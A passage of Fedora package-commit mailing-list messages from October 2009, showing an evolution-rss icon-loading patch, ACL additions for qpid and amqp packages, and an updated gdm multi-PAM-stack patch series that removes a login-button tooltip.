diff -Naur evolution-rss-0.1.4/src/.libs/liborg-gnome-evolution-rss.so evolution-rss-0.1.4-mod/src/.libs/liborg-gnome-evolution-rss.so
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/misc.o evolution-rss-0.1.4-mod/src/.libs/misc.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/network-soup.o evolution-rss-0.1.4-mod/src/.libs/network-soup.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/parser.o evolution-rss-0.1.4-mod/src/.libs/parser.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/rss-config-factory.o evolution-rss-0.1.4-mod/src/.libs/rss-config-factory.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/rss-icon-factory.o evolution-rss-0.1.4-mod/src/.libs/rss-icon-factory.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/.libs/rss.o evolution-rss-0.1.4-mod/src/.libs/rss.o
\ No newline at end of file
diff -Naur evolution-rss-0.1.4/src/Makefile evolution-rss-0.1.4-mod/src/Makefile
diff -Naur evolution-rss-0.1.4/src/rss.c evolution-rss-0.1.4-mod/src/rss.c
--- evolution-rss-0.1.4/src/rss.c	2009-08-26 12:00:09.000000000 +0300
+++ evolution-rss-0.1.4-mod/src/rss.c	2009-10-23 17:40:25.000000000 +0300
@@ -2365,7 +2365,7 @@
 				g_hash_table_insert(icons, g_strdup(key), icon);
 				g_object_set (t->renderer, "pixbuf", icon, "visible", 1, NULL);
 			} else
-				goto defico; //failed to load the icon so just throw the default
+				goto normal; //failed to load the icon so just throw the default
 
 			g_free(feed_file);
 #endif
@@ -2382,27 +2382,20 @@
 		goto out;
 	}
 
-normal:	if (!initialised) { //move this to startup
-defico:		iconfile = g_build_filename (EVOLUTION_ICONDIR,
-	                                    "rss-16.png",
-						NULL);
 #if (EVOLUTION_VERSION >= 22703)
-		folder_icon = e_icon_factory_get_icon (iconfile, GTK_ICON_SIZE_MENU);
-		gtk_icon_theme_add_builtin_icon     ("evolution-rss-main",
-				GTK_ICON_SIZE_INVALID,
-				folder_icon);
+normal:	gtk_tree_store_set (
+                t->store, t->iter,
+                COL_STRING_ICON_NAME, "rss-16",
+                -1);
 #else
+normal:	if (!initialised) {
+		iconfile = g_build_filename (EVOLUTION_ICONDIR,
+				"rss-16.png",
+				NULL);
 		folder_icon = e_icon_factory_get_icon (iconfile, E_ICON_SIZE_MENU);
-#endif
 		g_free(iconfile);
 		initialised = TRUE;
 	}
-#if (EVOLUTION_VERSION >= 22703)
-	gtk_tree_store_set (
-                t->store, t->iter,
-                COL_STRING_ICON_NAME, "evolution-rss-main",
-                -1);
-#else
 	g_object_set (t->renderer, "pixbuf", folder_icon, "visible", 1, NULL);
 #endif
 out:	g_free(main_folder);
@@ -4854,6 +4847,8 @@
 	struct _EMFolderTreeModelStoreInfo *si;
 	CamelStore *store = mail_component_peek_local_store(NULL);
 	CamelFolder *rss_folder;
+	gint *sizes;
+	gint size, i=0;
 
 	pixbuf = gdk_pixbuf_new_from_file(img_file, NULL);
 
@@ -4867,11 +4862,16 @@
 			result = FALSE; 
 			goto out;
 		}
-		icon = e_icon_factory_get_icon (img_file, GTK_ICON_SIZE_DIALOG);
+		icon = e_icon_factory_get_icon (img_file, GTK_ICON_SIZE_MENU);
 		g_hash_table_insert(icons, g_strdup(key), GINT_TO_POINTER(1));
-		gtk_icon_theme_add_builtin_icon(key,
-						GTK_ICON_SIZE_INVALID,
-						icon);
+		sizes = gtk_icon_theme_get_icon_sizes(gtk_icon_theme_get_default(),
+                                "mail-read"); //will mail-read always be there?
+                for (i=0; -1 != (size = sizes[i]); i++)
+                        gtk_icon_theme_add_builtin_icon(key,
+                                size,
+                                icon);
+                g_free(sizes);
+
 		si = g_hash_table_lookup (mod->store_hash, store);
 		row = g_hash_table_lookup (si->full_hash, full_name);
 		path = gtk_tree_row_reference_get_path (row);
diff -Naur evolution-rss-0.1.4/src/rss-icon-factory.c evolution-rss-0.1.4-mod/src/rss-icon-factory.c
--- evolution-rss-0.1.4/src/rss-icon-factory.c	2009-05-15 16:49:48.000000000 +0300
+++ evolution-rss-0.1.4-mod/src/rss-icon-factory.c	2009-10-23 17:02:01.000000000 +0300
@@ -57,5 +57,7 @@
 		gtk_icon_set_unref(set);
 	}
         gtk_icon_source_free(source);
+	gtk_icon_theme_append_search_path (gtk_icon_theme_get_default (),
+                                           EVOLUTION_ICONDIR);
 }
 
diff -Naur evolution-rss-0.1.4/stamp-h1 evolution-rss-0.1.4-mod/stamp-h1


Index: evolution-rss.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-rss/F-12/evolution-rss.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- evolution-rss.spec	16 Sep 2009 17:24:06 -0000	1.36
+++ evolution-rss.spec	23 Oct 2009 16:35:09 -0000	1.37
@@ -11,13 +11,14 @@
 Name:		evolution-rss
 Summary:	Evolution RSS Reader
 Version:	0.1.4
-Release:	4%{?dist}
+Release:	5%{?dist}
 Group:		Applications/Internet
 License:	GPLv2 and GPLv2+
 URL:		http://gnome.eu.org/evo/index.php/Evolution_RSS_Reader_Plugin
 Source:		http://gnome.eu.org/%{name}-%{version}.tar.gz
 Patch0:		evolution-rss-0.1.4-folder-rename.patch
 Patch1:		evolution-rss-0.1.4-folder-properties.patch
+Patch2:		evolution-rss-0.1.4-icon-size.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	evolution
 
@@ -43,6 +44,7 @@ This is an evolution plugin which enable
 %setup -q -n evolution-rss-%{version}
 %patch0 -p1 -b .folder-rename
 %patch1 -p1 -b .folder-properties
+%patch2 -p1 -b .icon-size
 
 %build
 %configure --with-primary-render=gecko
@@ -96,6 +98,9 @@ fi
 %{_libdir}/bonobo/servers/GNOME_Evolution_RSS_*.server
 
 %changelog
+* Fri Oct 23 2009 Lucian Langa <cooly at gnome.eu.org> - 0.1.4-5
+- add patch2 to fix loading of icons (gtk refuses to load icons with size 0)
+
 * Wed Sep 16 2009 Lucian Langa <cooly at gnome.eu.org> - 0.1.4-4
 - added patch to fix folder properties in evolution (#523552)
 - added upstream patch to fix folder rename (#594704)



From nsantos at fedoraproject.org  Fri Oct 23 16:46:49 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 23 Oct 2009 16:46:49 +0000 (UTC)
Subject: rpms/ruby-qpid pkg.acl,1.1,1.2
Message-ID: <20091023164650.AF96711C01EA@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/ruby-qpid
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5846/ruby-qpid

Modified Files:
	pkg.acl 
Log Message:
add Rajith Attapattu to the ACL


Index: pkg.acl
===================================================================
RCS file: /cvs/extras/rpms/ruby-qpid/pkg.acl,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pkg.acl	17 Apr 2007 02:58:28 -0000	1.1
+++ pkg.acl	23 Oct 2009 16:46:44 -0000	1.2
@@ -0,0 +1 @@
+rajith77



From nsantos at fedoraproject.org  Fri Oct 23 16:46:52 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 23 Oct 2009 16:46:52 +0000 (UTC)
Subject: rpms/python-qpid pkg.acl,1.1,1.2
Message-ID: <20091023164652.031BC11C01EA@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/python-qpid
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5846/python-qpid

Modified Files:
	pkg.acl 
Log Message:
add Rajith Attapattu to the ACL


Index: pkg.acl
===================================================================
RCS file: /cvs/extras/rpms/python-qpid/pkg.acl,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pkg.acl	17 Apr 2007 02:56:23 -0000	1.1
+++ pkg.acl	23 Oct 2009 16:46:49 -0000	1.2
@@ -0,0 +1 @@
+rajith77



From nsantos at fedoraproject.org  Fri Oct 23 16:46:53 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 23 Oct 2009 16:46:53 +0000 (UTC)
Subject: rpms/amqp pkg.acl,1.1,1.2
Message-ID: <20091023164653.2F79011C01EA@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/amqp
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5846/amqp

Modified Files:
	pkg.acl 
Log Message:
add Rajith Attapattu to the ACL


Index: pkg.acl
===================================================================
RCS file: /cvs/extras/rpms/amqp/pkg.acl,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pkg.acl	23 Mar 2007 20:29:10 -0000	1.1
+++ pkg.acl	23 Oct 2009 16:46:52 -0000	1.2
@@ -0,0 +1 @@
+rajith77



From rstrode at fedoraproject.org  Fri Oct 23 16:55:53 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri, 23 Oct 2009 16:55:53 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-multistack.patch,1.2,1.3 gdm.spec,1.499,1.500
Message-ID: <20091023165554.0134411C01EA@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10029

Modified Files:
	gdm-multistack.patch gdm.spec 
Log Message:
- Remove tool tip from login button


gdm-multistack.patch:
 b/common/gdm-marshal.list                                            |    1 
 b/configure.ac                                                       |   45 
 b/daemon/gdm-factory-slave.c                                         |   13 
 b/daemon/gdm-greeter-server.c                                        |    2 
 b/daemon/gdm-greeter-server.h                                        |    5 
 b/daemon/gdm-product-slave.c                                         |   47 
 b/daemon/gdm-session-direct.c                                        |   14 
 b/daemon/gdm-session-private.h                                       |    3 
 b/daemon/gdm-session-relay.c                                         |   29 
 b/daemon/gdm-session-worker-job.c                                    |   11 
 b/daemon/gdm-session-worker-job.h                                    |    2 
 b/daemon/gdm-session-worker.c                                        |   27 
 b/daemon/gdm-session.c                                               |   20 
 b/daemon/gdm-session.h                                               |    9 
 b/daemon/gdm-simple-slave.c                                          |    3 
 b/daemon/test-session.c                                              |   14 
 b/gui/simple-greeter/Makefile.am                                     |    4 
 b/gui/simple-greeter/gdm-chooser-widget.c                            |   32 
 b/gui/simple-greeter/gdm-chooser-widget.h                            |    3 
 b/gui/simple-greeter/gdm-greeter-client.c                            |   18 
 b/gui/simple-greeter/gdm-greeter-client.h                            |    4 
 b/gui/simple-greeter/gdm-greeter-login-window.c                      |   91 
 b/gui/simple-greeter/gdm-greeter-login-window.glade                  |   39 
 b/gui/simple-greeter/gdm-greeter-login-window.h                      |   11 
 b/gui/simple-greeter/gdm-greeter-plugin.c                            |  255 +
 b/gui/simple-greeter/gdm-greeter-plugin.h                            |   61 
 b/gui/simple-greeter/gdm-greeter-session.c                           |    5 
 b/gui/simple-greeter/gdm-plugin-manager.c                            |  478 +++
 b/gui/simple-greeter/gdm-plugin-manager.h                            |   66 
 b/gui/simple-greeter/gdm-task-list.c                                 |  198 +
 b/gui/simple-greeter/gdm-task-list.h                                 |   65 
 b/gui/simple-greeter/gdm-user-chooser-widget.c                       |   23 
 b/gui/simple-greeter/libgdmsimplegreeter/Makefile.am                 |   46 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c          |  147 +
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h          |   87 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.c     |   93 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.h     |   55 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                  |  117 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                  |   62 
 b/gui/simple-greeter/libgdmsimplegreeter/gdmsimplegreeter.pc.in      |   11 
 b/gui/simple-greeter/plugins/Makefile.am                             |    1 
 b/gui/simple-greeter/plugins/fingerprint/Makefile.am                 |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c |  299 ++
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.h |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint.pam         |   17 
 b/gui/simple-greeter/plugins/fingerprint/icons/16x16/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/48x48/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/Makefile.am           |    1 
 b/gui/simple-greeter/plugins/fingerprint/page.ui                     |   56 
 b/gui/simple-greeter/plugins/fingerprint/plugin.c                    |   41 
 b/gui/simple-greeter/plugins/password/Makefile.am                    |   53 
 b/gui/simple-greeter/plugins/password/gdm-password-extension.c       |  314 ++
 b/gui/simple-greeter/plugins/password/gdm-password-extension.h       |   56 
 b/gui/simple-greeter/plugins/password/gdm-password.pam               |   19 
 b/gui/simple-greeter/plugins/password/page.ui                        |   56 
 b/gui/simple-greeter/plugins/password/plugin.c                       |   40 
 b/gui/simple-greeter/plugins/smartcard/Makefile.am                   |   77 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c     |  418 ++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.h     |   56 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.c       | 1394 ++++++++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.h       |   86 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-worker.c        |  167 +
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.c               |  558 ++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.h               |   94 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.pam             |   18 
 b/gui/simple-greeter/plugins/smartcard/icons/16x16/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/48x48/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/Makefile.am             |    1 
 b/gui/simple-greeter/plugins/smartcard/page.ui                       |   56 
 b/gui/simple-greeter/plugins/smartcard/plugin.c                      |   40 
 b/po/POTFILES.in                                                     |    2 
 configure.ac                                                         |   15 
 daemon/gdm-factory-slave.c                                           |  103 
 daemon/gdm-greeter-server.c                                          |  187 +
 daemon/gdm-greeter-server.h                                          |   19 
 daemon/gdm-product-slave.c                                           |  263 +
 daemon/gdm-session-direct.c                                          | 1120 +++++---
 daemon/gdm-session-private.h                                         |   29 
 daemon/gdm-session-relay.c                                           |  190 +
 daemon/gdm-session-worker-job.c                                      |   73 
 daemon/gdm-session-worker-job.h                                      |    6 
 daemon/gdm-session-worker.c                                          |   20 
 daemon/gdm-session.c                                                 |  229 +
 daemon/gdm-session.h                                                 |   59 
 daemon/gdm-simple-slave.c                                            |  223 +
 daemon/test-session.c                                                |   22 
 gui/simple-greeter/Makefile.am                                       |   15 
 gui/simple-greeter/gdm-chooser-widget.c                              |    9 
 gui/simple-greeter/gdm-chooser-widget.h                              |    3 
 gui/simple-greeter/gdm-greeter-client.c                              |  209 +
 gui/simple-greeter/gdm-greeter-client.h                              |   18 
 gui/simple-greeter/gdm-greeter-login-window.c                        | 1105 ++++++-
 gui/simple-greeter/gdm-greeter-login-window.glade                    |  144 -
 gui/simple-greeter/gdm-greeter-login-window.h                        |   21 
 gui/simple-greeter/gdm-greeter-session.c                             |  133 
 gui/simple-greeter/gdm-task-list.c                                   |  228 +
 gui/simple-greeter/gdm-task-list.h                                   |   36 
 gui/simple-greeter/libgdmsimplegreeter/Makefile.am                   |    2 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c            |   51 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h            |   13 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                    |    6 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                    |    2 
 gui/simple-greeter/plugins/Makefile.am                               |    4 
 gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c   |   10 
 gui/simple-greeter/plugins/password/gdm-password-extension.c         |    7 
 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c       |   35 
 po/POTFILES.in                                                       |    2 
 107 files changed, 9621 insertions(+), 1258 deletions(-)

Index: gdm-multistack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-multistack.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gdm-multistack.patch	23 Oct 2009 02:27:30 -0000	1.2
+++ gdm-multistack.patch	23 Oct 2009 16:55:46 -0000	1.3
@@ -1,7 +1,7 @@
-From 2d9281ddbcf51f7dac5591cdf300a2527dc1a09f Mon Sep 17 00:00:00 2001
+From dfa6b8d5ed60552f435c34c47bc45089fa3eef48 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 13:52:19 -0500
-Subject: [PATCH 04/40] Add a comment marking protected api in chooser
+Subject: [PATCH 06/48] Add a comment marking protected api in chooser
 
 The chooser widget has methods that only its
 subclasses are supposed to call.  We should
@@ -27,10 +27,10 @@ index 578e613..7e3e59c 100644
 1.6.5.rc2
 
 
-From 85e51354d6715a476763246b92f525ade2ff38e5 Mon Sep 17 00:00:00 2001
+From 7b4e38d04e246d7dc4c446ed2a3c69fcc67257cb Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 17:44:37 -0500
-Subject: [PATCH 05/40] Drop duplicated entry introspection output
+Subject: [PATCH 07/48] Drop duplicated entry introspection output
 
 ---
  daemon/gdm-greeter-server.c |    1 -
@@ -52,10 +52,10 @@ index 2e01d33..cecce83 100644
 1.6.5.rc2
 
 
-From 1e38ed6f70ef52e7e62c7487d8ca9adb03bf7655 Mon Sep 17 00:00:00 2001
+From 8d5ddd913f13581df1662730745c1d906772185e Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 10:07:03 -0500
-Subject: [PATCH 06/40] Make lookup_item not warn when passing NULL for args
+Subject: [PATCH 08/48] Make lookup_item not warn when passing NULL for args
 
 gtk_tree_model_get doesn't like NULL, and we allow
 NULL for optional return values.
@@ -113,10 +113,10 @@ index 2875456..cbd5072 100644
 1.6.5.rc2
 
 
-From 185301a9f9b00eb3d1dac89a1b0a956c1a30c304 Mon Sep 17 00:00:00 2001
+From 57a0d19b8b1e5e7a2132b15ea2c536207b61f80f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 15:35:00 -0500
-Subject: [PATCH 07/40] Drop "stopped" signal from worker-job class
+Subject: [PATCH 09/48] Drop "stopped" signal from worker-job class
 
 It was unused, dead code.
 ---
@@ -209,10 +209,11 @@ index d42eb37..5ad1c92 100644
 1.6.5.rc2
 
 
-From 4bb379564cedb9697958880deeb970859cdce0fe Mon Sep 17 00:00:00 2001
+
+From 98b3621d59550909f9d837e94d3cb15d20730f30 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 13 May 2009 13:43:33 -0400
-Subject: [PATCH 08/40] Don't send auth-failed when worker dies
+Subject: [PATCH 11/48] Don't send auth-failed when worker dies
 
 Authentication hasn't failed, it just got aborted before it
 could.  This prevents a crash that happens when switching
@@ -283,10 +284,12 @@ index b6abae4..8eadf4d 100644
 1.6.5.rc2
 
 
-From fdafab3a644438e5cce014dd614e6bc8379b0126 Mon Sep 17 00:00:00 2001
+
+
+From b8b6b84593eef0b1017c794e2c0f8be71d2e4430 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 11:00:08 -0500
-Subject: [PATCH 11/40] Drop session "Open" in favor of "StartConversation"
+Subject: [PATCH 19/48] Drop session "Open" in favor of "StartConversation"
 
 We want to eventually support having multiple
 simultaneous PAM conversations in one login
@@ -1488,10 +1491,10 @@ index c6a158c..d9fa26e 100644
 1.6.5.rc2
 
 
-From ab4b3155268f00889be4cea27d8490d7a05e1fd5 Mon Sep 17 00:00:00 2001
+From 842ab915bec7765c04503a1737bbaf0389b21068 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Feb 2009 10:55:03 -0500
-Subject: [PATCH 12/40] Rename session worker to the service it's managing
+Subject: [PATCH 20/48] Rename session worker to the service it's managing
 
 This way when we're running multiple PAM conversations at once
 it will be obvious which worker is managing which conversation.
@@ -1677,10 +1680,10 @@ index d24f025..4833f23 100644
 1.6.5.rc2
 
 
-From a1f028cf62c0a4342ad21dfb550d1d43e890600b Mon Sep 17 00:00:00 2001
+From 21c1bc991ae19fa6fbf9f7b17ee4953d951896f0 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 13:01:48 -0500
-Subject: [PATCH 13/40] Make greeter explicitly request PAM conversation
+Subject: [PATCH 21/48] Make greeter explicitly request PAM conversation
 
 Now the greeter has to say what PAM stack it wants the slave to
 run.  When that stack is ready, we emit the Ready signal as
@@ -2023,10 +2026,10 @@ index e7d206a..cd0cbdf 100644
 1.6.5.rc2
 
 
-From 25fe2efe5d568ec3fa5c9930e4265eb3ecc05e37 Mon Sep 17 00:00:00 2001
+From a5ff276de4b0bdefd5f77f1babf7c1a4319109f0 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 15:18:31 -0500
-Subject: [PATCH 14/40] Store multiple conversations in the session
+Subject: [PATCH 22/48] Store multiple conversations in the session
 
 We keep multiple conversations in the session now, keyed off of
 PAM service is at the other end.  Much of the guts still
@@ -2281,10 +2284,10 @@ index 51ecf39..b86475c 100644
 1.6.5.rc2
 
 
-From 81d4e16ce580d74321d9db9e002f1c0fd3f84e8a Mon Sep 17 00:00:00 2001
+From 58cc408e2f080fc2787f44624d0267248e2000d3 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Mar 2009 22:09:21 -0500
-Subject: [PATCH 15/40] start autologin conversation when creating session if necessary
+Subject: [PATCH 23/48] start autologin conversation when creating session if necessary
 
 Without this autologin breaks, since when it comes time to
 autologin, there's no worker to do it.
@@ -2319,10 +2322,10 @@ index 8863fd4..4db7440 100644
 1.6.5.rc2
 
 
-From 85450a2e89644afcb6b89de2378ae908eaad537c Mon Sep 17 00:00:00 2001
+From 17e530f18b91d47e98f4ef6dae0882d52ca476e0 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 22 Jan 2009 08:52:01 -0500
-Subject: [PATCH 16/40] Propagate service name to more layers
+Subject: [PATCH 24/48] Propagate service name to more layers
 
 This is more prep work to get multiple concurrent
 PAM stacks going.
@@ -6324,10 +6327,10 @@ index cd0cbdf..e856dd4 100644
 1.6.5.rc2
 
 
-From 8c3e93b1973ee87bd35e9841503f9b17cc99d394 Mon Sep 17 00:00:00 2001
+From 0da23146a01fe3664b610bb92e68f289912df6a1 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 11:36:40 -0500
-Subject: [PATCH 17/40] emit "ConversationStopped" signal at end of conv
+Subject: [PATCH 25/48] emit "ConversationStopped" signal at end of conv
 
 This will allow us to track when individual
 PAM conversations fail, instead of doing one
@@ -6667,10 +6670,10 @@ index 9421a64..6eadf62 100644
 1.6.5.rc2
 
 
-From 5cb377a6d1cc5075987022934465ead2d25b920c Mon Sep 17 00:00:00 2001
+From 5e7249e98b90ad1145aa964273ac821ec0282cb0 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 9 Mar 2009 15:41:12 -0400
-Subject: [PATCH 18/40] Don't tear down greeter until pam_open_session finishes
+Subject: [PATCH 26/48] Don't tear down greeter until pam_open_session finishes
 
 Some PAM modules ask questions at that late stage of the game,
 and so we need a greeter to forward the questions on to the
@@ -7246,10 +7249,10 @@ index 6eadf62..4c68974 100644
 1.6.5.rc2
 
 
-From bedece5d60a2b60e1284111abc8f2a6535aee690 Mon Sep 17 00:00:00 2001
+From 7d76484539ab0f1352d6b4c14511a330798ca1a1 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 30 Jan 2009 23:57:31 -0500
-Subject: [PATCH 19/40] Add limited support for multiple pam stacks
+Subject: [PATCH 27/48] Add limited support for multiple pam stacks
 
 This hard codes 3 pam stacks and doesn't handle
 switching between them very well yet.
@@ -8003,10 +8006,10 @@ index 0000000..ade21b6
 1.6.5.rc2
 
 
-From 3dcf3ff0aa059cc308e2846bab150749352a0462 Mon Sep 17 00:00:00 2001
+From 3dbbff5c47bb30e4c9087a855a7e1304962e8e2b Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Mar 2009 11:19:40 -0500
-Subject: [PATCH 20/40] Create session settings object when first starting worker
+Subject: [PATCH 28/48] Create session settings object when first starting worker
 
 This is because one PAM module may complete before setup
 gets called on another, and when one completes *all* PAM
@@ -8041,10 +8044,10 @@ index 867ce67..9a9f364 100644
 1.6.5.rc2
 
 
-From 420e28ccdba26ffe70a2acdb69250efcb99c125e Mon Sep 17 00:00:00 2001
+From 503324a841febee037ba8a91e47f1bc9c9278241 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 5 Feb 2009 15:20:25 -0500
-Subject: [PATCH 21/40] Queue a greeter reset when the user clicks cancel
+Subject: [PATCH 29/48] Queue a greeter reset when the user clicks cancel
 
 ---
  daemon/gdm-simple-slave.c |   37 +++++++++++++++++++++++++++++++++++++
@@ -8180,10 +8183,10 @@ index 4c68974..337718b 100644
 1.6.5.rc2
 
 
-From 5424b5d6c445051ffecc37b49401a6e028e89a43 Mon Sep 17 00:00:00 2001
+From fc7ff7b156213d86afd4ebd7651e2f0657759030 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:23:48 -0500
-Subject: [PATCH 22/40] Add a plugin based extension system to greeter
+Subject: [PATCH 30/48] Add a plugin based extension system to greeter
 
 This allows plugins to drive which PAM conversations
 get run.  This commit just adds one plugin "password"
@@ -8214,12 +8217,13 @@ run.
  .../libgdmsimplegreeter/gdmsimplegreeter.pc.in     |   11 +
  gui/simple-greeter/plugins/Makefile.am             |    1 +
  gui/simple-greeter/plugins/password/Makefile.am    |   53 ++
- .../plugins/password/gdm-password-extension.c      |  316 +++++++++
+ .../plugins/password/gdm-password-extension.c      |  314 +++++++++
  .../plugins/password/gdm-password-extension.h      |   56 ++
  .../plugins/password/gdm-password.pam              |   19 +
  gui/simple-greeter/plugins/password/page.ui        |   56 ++
  gui/simple-greeter/plugins/password/plugin.c       |   40 ++
- 29 files changed, 2992 insertions(+), 297 deletions(-)
+ po/POTFILES.in                                     |    1 +
+ 30 files changed, 2991 insertions(+), 297 deletions(-)
  create mode 100644 gui/simple-greeter/gdm-greeter-plugin.c
  create mode 100644 gui/simple-greeter/gdm-greeter-plugin.h
  create mode 100644 gui/simple-greeter/gdm-plugin-manager.c
@@ -11847,10 +11851,10 @@ index 0000000..764904d
 +        Makefile.in
 diff --git a/gui/simple-greeter/plugins/password/gdm-password-extension.c b/gui/simple-greeter/plugins/password/gdm-password-extension.c
 new file mode 100644
-index 0000000..fae73be
+index 0000000..3acab3f
 --- /dev/null
 +++ b/gui/simple-greeter/plugins/password/gdm-password-extension.c
-@@ -0,0 +1,316 @@
+@@ -0,0 +1,314 @@
 +/*
 + * Copyright (C) 2009 Red Hat, Inc.
 + *
@@ -12144,9 +12148,7 @@ index 0000000..fae73be
 +        extension->priv->actions = gtk_action_group_new ("gdm-password-extension");
 +
 +        action = gtk_action_new (GDM_CONVERSATION_DEFAULT_ACTION,
-+                                 _("Log In"),
-+                                 _("Log into the currently selected sesson"),
-+                                 NULL);
++                                 _("Log In"), NULL, NULL);
 +        g_signal_connect_swapped (action, "activate",
 +                                  G_CALLBACK (on_activate_log_in), extension);
 +        g_object_set (G_OBJECT (action), "icon-name", "go-home", NULL);
@@ -12362,14 +12364,26 @@ index 0000000..9b87c67
 +
 +        return GDM_GREETER_EXTENSION (extension);
 +}
+diff --git a/po/POTFILES.in b/po/POTFILES.in
+index 9fb8a48..3963bd6 100644
+--- a/po/POTFILES.in
++++ b/po/POTFILES.in
+@@ -85,6 +85,7 @@ gui/simple-greeter/gdm-timer.c
+ gui/simple-greeter/gdm-user.c
+ gui/simple-greeter/gdm-user-chooser-widget.c
+ gui/simple-greeter/greeter-main.c
++gui/simple-greeter/plugins/password/gdm-password-extension.c
+ gui/user-switch-applet/applet.c
+ gui/user-switch-applet/gdm-entry-menu-item.c
+ gui/user-switch-applet/GNOME_FastUserSwitchApplet.server.in.in
 -- 
 1.6.5.rc2
 
 
-From ae8c7e6764d402cd30695836e4ca28d3f09991aa Mon Sep 17 00:00:00 2001
+From d1e3b2fdc823978aee78d9ae95d6a9f87b863468 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 21:17:49 -0500
-Subject: [PATCH 23/40] Force session reset if all PAM conversations fail
+Subject: [PATCH 31/48] Force session reset if all PAM conversations fail
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   22 +++++++++++++++++++---
@@ -12425,10 +12439,10 @@ index 7853094..fb64a4a 100644
 1.6.5.rc2
 
 
